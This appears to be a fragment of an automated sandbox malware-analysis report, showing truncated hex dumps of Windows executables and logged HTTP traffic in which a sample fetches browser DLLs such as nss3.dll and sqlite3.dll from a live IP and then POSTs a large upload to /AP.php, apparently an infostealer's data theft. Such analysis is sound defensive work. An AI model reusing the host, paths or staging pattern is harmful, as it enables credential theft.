ac d1 07 00 70 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c0 ce 06 00 00 10 00 00 00 d0 06 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 30 60 2e 64 61 74 61 00 00 00 b0 0f 00 00 00 e0 06 00 00 10 00 00 00 d6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 c0 2e 72 64 61 74 61 00 00 24 ad 00 00 00 f0 06 00 00 ae 00 00 00 e6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 40 2e 62 73 73 00 00 00 00 98 04 00 00 00 a0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 40 c0 2e 65 64 61 74 61 00 00 98 19 00 00 00 b0 07 00 00 1a 00 00 00 94 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 4c 0a 00 00 00 d0 07 00 00 0c 00 00 00 ae 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 18 00 00 00 00 e0 07 00 00 02 00 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 f0 07 00 00 02 00 00 00 bc 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 fc 27 00 00 00 00 08 00 00 28 00 00 00 be 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 60 01 00 00 00 30 08 00 00 02 00 00 00 e6 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 c8 03 00 00 00 40 08 00 00 04 00 00 00 e8 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 35 00 00 00 00 00 4d 06 00 00 00 50 08 00 00 08 00 00 00 ec 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 35 31 00 00 00 00 00 60 43 00 00 00 60 08 00 00 44 00 00 00 f4 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 36 33 00 00 00 00 00 84 0d 00 00 00 b0 08 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 24 Aug 2024 09:51:57 GMTServer: Apache/2.4.58 (Ubuntu)Last-Modified: Mon, 19 Aug 2024 19:27:59 GMTETag: "519d0-6200e4e818494"Accept-Ranges: bytesContent-Length: 334288Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 f0 2f 05 84 91 41 56 84 91 41 56 84 91 41 56 8d e9 d2 56 88 91 41 56 5d f3 40 57 86 91 41 56 1a 31 86 56 85 91 41 56 5d f3 42 57 80 91 41 56 5d f3 44 57 8f 91 41 56 5d f3 45 57 8f 91 41 56 a6 f1 40 57 80 91 41 56 4f f2 40 57 87 91 41 56 84 91 40 56 d6 91 41 56 4f f2 42 57 86 91 41 56 4f f2 45 57 c0 91 41 56 4f f2 41 57 85 91 41 56 4f f2 be 56 85 91 41 56 4f f2 43 57 85 91 41 56 52 69 63 68 84 91 41 56 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 d8 62 eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 d8 03 00 00 66 01 00 00 00 00 00 29 dd 03 00 00 10 00 00 00 f0 03 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 05 00 00 04 00 00 a3 73 05 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 70 e6 04 00 50 00 00 00 c0 e6 04 00 c8 00 00 00 00 40 05 00 78 03 00 00 00 00 00 00 00 00 00 00 00 fc 04 00 d0 1d 00 00 00 50 05 00 e0 16 00 00 30 e2 04 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 e2 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 f0 03 00 38 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 74 d6 03 00 00 10 00 00 00 d8 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 fc fe 00 00 00 f0 03 00 00 00 01 00 00 dc 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 2c 48 00 00 00 f0 04 00 00 04 00 00 00 dc 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 78 03 00 00 00 40 05 00 00 04 00 00 00 e0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 e0 16 00 00 00 50 05 00 00 18 00 00 00 e4 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 24 Aug 2024 09:51:57 GMTServer: Apache/2.4.58 (Ubuntu)Last-Modified: Mon, 19 Aug 2024 19:27:59 GMTETag: "217d0-6200e4e840d08"Accept-Ranges: bytesContent-Length: 137168Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 8d c2 55 b1 c9 a3 3b e2 c9 a3 3b e2 c9 a3 3b e2 c0 db a8 e2 d9 a3 3b e2 57 03 fc e2 cb a3 3b e2 10 c1 38 e3 c7 a3 3b e2 10 c1 3f e3 c2 a3 3b e2 10 c1 3a e3 cd a3 3b e2 10 c1 3e e3 db a3 3b e2 eb c3 3a e3 c0 a3 3b e2 c9 a3 3a e2 77 a3 3b e2 02 c0 3f e3 c8 a3 3b e2 02 c0 3e e3 dd a3 3b e2 02 c0 3b e3 c8 a3 3b e2 02 c0 c4 e2 c8 a3 3b e2 02 c0 39 e3 c8 a3 3b e2 52 69 63 68 c9 a3 3b e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 c4 5f eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 7a 01 00 00 86 00 00 00 00 00 00 e0 82 01 00 00 10 00 00 00 90 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 40 02 00 00 04 00 00 16 33 02 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 40 c0 01 00 74 1e 00 00 b4 de 01 00 2c 01 00 00 00 20 02 00 78 03 00 00 00 00 00 00 00 00 00 00 00 fa 01 00 d0 1d 00 00 00 30 02 00 68 0c 00 00 00 b9 01 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 b9 01 00 18 00 00 00 68 b8 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 90 01 00 f4 02 00 00 6c be 01 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ca 78 01 00 00 10 00 00 00 7a 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 5e 65 00 00 00 90 01 00 00 66 00 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 bc 0b 00 00 00 00 02 00 00 02 00 00 00 e4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 69 64 61 74 00 00 38 00 00 00 00 10 02 00 00 02 00 00 00 e6 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 78 03 00 00 00 20 02 00 00 04 00 00 00 e8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 68 0c 00 00 00 30 02 00 00 0e 00 00 00 ec 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 24 Aug 2024 09:51:57 GMTServer: Apache/2.4.58 (Ubuntu)Last-Modified: Mon, 19 Aug 2024 19:27:59 GMTETag: "6b738-6200e4e857852"Accept-Ranges: bytesContent-Length: 440120Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a6 c8 bc 41 e2 a9 d2 12 e2 a9 d2 12 e2 a9 d2 12 56 35 3d 12 e0 a9 d2 12 eb d1 41 12 fa a9 d2 12 3b cb d3 13 e1 a9 d2 12 e2 a9 d3 12 22 a9 d2 12 3b cb d1 13 eb a9 d2 12 3b cb d6 13 ee a9 d2 12 3b cb d7 13 f4 a9 d2 12 3b cb da 13 95 a9 d2 12 3b cb d2 13 e3 a9 d2 12 3b cb 2d 12 e3 a9 d2 12 3b cb d0 13 e3 a9 d2 12 52 69 63 68 e2 a9 d2 12 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 16 38 27 59 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 04 06 00 00 82 00 00 00 00 00 00 50 b1 03 00 00 10 00 00 00 20 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 d0 06 00 00 04 00 00 61 7a 07 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 f0 43 04 00 82 cf 01 00 f4 52 06 00 2c 01 00 00 00 80 06 00 f8 03 00 00 00 00 00 00 00 00 00 00 00 78 06 00 38 3f 00 00 00 90 06 00 34 3a 00 00 f0 66 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 28 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 50 06 00 f0 02 00 00 98 40 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 72 03 06 00 00 10 00 00 00 04 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 10 28 00 00 00 20 06 00 00 18 00 00 00 08 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 36 14 00 00 00 50 06 00 00 16 00 00 00 20 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 70 06 00 00 02 00 00 00 36 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f8 03 00 00 00 80 06 00 00 04 00 00 00 38 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 34 3a 00 00 00 90 06 00 00 3c 00 00 00 3c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 24 Aug 2024 09:51:58 GMTServer: Apache/2.4.58 (Ubuntu)Last-Modified: Mon, 19 Aug 2024 19:27:59 GMTETag: "1303d0-6200e4e85fd23"Accept-Ranges: bytesContent-Length: 1246160Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 23 83 34 8c 67 e2 5a df 67 e2 5a df 67 e2 5a df 6e 9a c9 df 73 e2 5a df be 80 5b de 65 e2 5a df f9 42 9d df 63 e2 5a df be 80 59 de 6a e2 5a df be 80 5f de 6d e2 5a df be 80 5e de 6c e2 5a df 45 82 5b de 6f e2 5a df ac 81 5b de 64 e2 5a df 67 e2 5b df 90 e2 5a df ac 81 5e de 6d e3 5a df ac 81 5a de 66 e2 5a df ac 81 a5 df 66 e2 5a df ac 81 58 de 66 e2 5a df 52 69 63 68 67 e2 5a df 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ad 62 eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 ea 0e 00 00 1e 04 00 00 00 00 00 77 f0 0e 00 00 10 00 00 00 00 0f 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 40 13 00 00 04 00 00 b7 bb 13 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 9d 11 00 88 a0 00 00 88 3d 12 00 54 01 00 00 00 b0 12 00 70 03 00 00 00 00 00 00 00 00 00 00 00 e6 12 00 d0 1d 00 00 00 c0 12 00 14 7d 00 00 70 97 11 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 97 11 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 0f 00 f8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 81 e8 0e 00 00 10 00 00 00 ea 0e 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 10 52 03 00 00 00 0f 00 00 54 03 00 00 ee 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 74 47 00 00 00 60 12 00 00 22 00 00 00 42 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 70 03 00 00 00 b0 12 00 00 04 00 00 00 64 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 14 7d 00 00 00 c0 12 00 00 7e 00 00 00 68 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 24 Aug 2024 09:51:59 GMTServer: Apache/2.4.58 (Ubuntu)Last-Modified: Mon, 19 Aug 2024 19:27:59 GMTETag: "235d0-6200e4e86cc2d"Accept-Ranges: bytesContent-Length: 144848Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 6c 24 1c e6 0d 4a 4f e6 0d 4a 4f e6 0d 4a 4f ef 75 d9 4f ea 0d 4a 4f 3f 6f 4b 4e e4 0d 4a 4f 3f 6f 49 4e e4 0d 4a 4f 3f 6f 4f 4e ec 0d 4a 4f 3f 6f 4e 4e ed 0d 4a 4f c4 6d 4b 4e e4 0d 4a 4f 2d 6e 4b 4e e5 0d 4a 4f e6 0d 4b 4f 7e 0d 4a 4f 2d 6e 4e 4e f2 0d 4a 4f 2d 6e 4a 4e e7 0d 4a 4f 2d 6e b5 4f e7 0d 4a 4f 2d 6e 48 4e e7 0d 4a 4f 52 69 63 68 e6 0d 4a 4f 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 bf 62 eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 b6 01 00 00 62 00 00 00 00 00 00 97 bc 01 00 00 10 00 00 00 d0 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 50 02 00 00 04 00 00 09 b1 02 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 03 02 00 a8 00 00 00 b8 03 02 00 c8 00 00 00 00 30 02 00 78 03 00 00 00 00 00 00 00 00 00 00 00 18 02 00 d0 1d 00 00 00 40 02 00 60 0e 00 00 d0 fe 01 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 ff 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 d0 01 00 6c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 cb b4 01 00 00 10 00 00 00 b6 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 0a 44 00 00 00 d0 01 00 00 46 00 00 00 ba 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 00 07 00 00 00 20 02 00 00 04 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 78 03 00 00 00 30 02 00 00 04 00 00 00 04 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 60 0e 00 00 00 40 02 00 00 10 00 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 24 Aug 2024 09:51:59 GMTServer: Apache/2.4.58 (Ubuntu)Last-Modified: Mon, 19 Aug 2024 19:27:59 GMTETag: "14748-6200e4e8856b7"Accept-Ranges: bytesContent-Length: 83784Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 01 f9 a3 4e 45 98 cd 1d 45 98 cd 1d 45 98 cd 1d f1 04 22 1d 47 98 cd 1d 4c e0 5e 1d 4e 98 cd 1d 45 98 cc 1d 6c 98 cd 1d 9c fa c9 1c 55 98 cd 1d 9c fa ce 1c 56 98 cd 1d 9c fa c8 1c 41 98 cd 1d 9c fa c5 1c 5f 98 cd 1d 9c fa cd 1c 44 98 cd 1d 9c fa 32 1d 44 98 cd 1d 9c fa cf 1c 44 98 cd 1d 52 69 63 68 45 98 cd 1d 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 0c 38 27 59 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 ea 00 00 00 20 00 00 00 00 00 00 00 ae 00 00 00 10 00 00 00 00 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 40 01 00 00 04 00 00 bc 11 02 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 b0 f0 00 00 14 09 00 00 c0 10 01 00 8c 00 00 00 00 20 01 00 08 04 00 00 00 00 00 00 00 00 00 00 00 08 01 00 48 3f 00 00 00 30 01 00 94 0a 00 00 b0 1f 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 1f 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 bc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c4 e9 00 00 00 10 00 00 00 ea 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 44 06 00 00 00 00 01 00 00 02 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 b8 05 00 00 00 10 01 00 00 06 00 00 00 f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 08 04 00 00 00 20 01 00 00 06 00 00 00 f6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 0a 00 00 00 30 01 00 00 0c 00 00 00 fc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /AP.php HTTP/1.1Host: 104.194.151.11Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlite3.dll HTTP/1.1Host: 104.194.151.11Cache-Control: no-cacheCookie: PHPSESSID=h35mbv8e9ovb563o5mbgrak1ij
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1Host: 104.194.151.11Cache-Control: no-cacheCookie: PHPSESSID=h35mbv8e9ovb563o5mbgrak1ij
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1Host: 104.194.151.11Cache-Control: no-cacheCookie: PHPSESSID=h35mbv8e9ovb563o5mbgrak1ij
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1Host: 104.194.151.11Cache-Control: no-cacheCookie: PHPSESSID=h35mbv8e9ovb563o5mbgrak1ij
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1Host: 104.194.151.11Cache-Control: no-cacheCookie: PHPSESSID=h35mbv8e9ovb563o5mbgrak1ij
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1Host: 104.194.151.11Cache-Control: no-cacheCookie: PHPSESSID=h35mbv8e9ovb563o5mbgrak1ij
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1Host: 104.194.151.11Cache-Control: no-cacheCookie: PHPSESSID=h35mbv8e9ovb563o5mbgrak1ij
Source: global traffic	HTTP traffic detected: POST /AP.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GVA1VKFU3EKF3E37Host: 104.194.151.11Content-Length: 98756Connection: Keep-AliveCache-Control: no-cacheCookie: PHPSESSID=h35mbv8e9ovb563o5mbgrak1ij

Source: Joe Sandbox View

ASN Name: PONYNETUS PONYNETUS

Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
Source: unknown	TCP traffic detected without corresponding DNS query: 104.194.151.11
